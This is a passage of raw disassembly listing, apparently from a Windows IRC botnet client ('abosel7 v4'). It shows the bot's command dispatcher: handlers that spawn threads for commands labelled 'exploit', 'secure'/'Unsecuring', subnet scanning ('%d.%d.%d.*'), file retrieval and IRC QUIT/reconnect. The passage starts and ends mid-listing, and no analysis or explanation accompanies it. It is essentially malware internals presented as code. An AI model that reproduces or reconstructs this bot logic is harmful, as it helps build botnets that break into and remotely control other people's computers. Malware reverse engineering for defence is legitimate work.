edi, ebx jz short loc_403C43 push edi call sub_41B779 test eax, eax pop ecx jz short loc_403C43 push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax call near ptr 2670B96h nop push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C4A4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h nop call near ptr 2680000h jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j nop call near ptr 268082Fh push eax push offset unk_42C468 loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D7D8 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C42C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h nop call near ptr 2680000h jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j nop call near ptr 268082Fh push eax push offset unk_42C3F0 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CB540 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42C3CC jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42C3A0 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42C374 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42C350 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42C324 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42C30C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42C2F0 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42C2C4 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42C29C jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42C27C jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh call near ptr 26905CDh nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42C264 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42C244 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42C224 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42C200 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h nop call near ptr 2680000h jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj nop call near ptr 268082Fh push eax lea eax, [ebp+var_2C4] push offset unk_42C1C4 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42C1A8 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB6BC call dword_4CB57C call sub_418359 push ebx nop call near ptr 77E75CB5h loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42C18C jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42C170 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42C158 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h nop call near ptr 2680000h jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j call near ptr 268082Fh nop push eax push offset unk_42C120 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42C108 call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42C104 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42C0E4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h nop call near ptr 2680000h jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj nop call near ptr 268082Fh push eax push offset unk_42C0A8 jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42C090 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CB364 call sub_41A88B pop ecx push eax push offset unk_42C064 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42C014 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42BFE0 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42BFD0 push offset dword_42BFC0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42BFB4 push offset dword_42BFA4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BF7C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 2680000h jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j call near ptr 268082Fh nop push eax push offset dword_42BF40 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF14 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h nop call near ptr 2680000h jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej nop call near ptr 268082Fh push eax push offset unk_42BED4 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42BEA0 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h nop call near ptr 2680000h jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj nop call near ptr 268082Fh push eax push offset dword_42BE64 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42BDB4 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42BDA4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42D080 push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42BD78 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42BD4C jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42D080 loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42CFF4 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx nop call near ptr 77E75CB5h loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CEDD8, ebx jz short loc_404A4A push offset dword_4CE7B8 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42BD10 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CB664 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42BCD0 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE7B8 call sub_41BEB0 pop ecx mov dword_4CEDD8, 1 pop ecx push esi push offset unk_42BCA4 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 1 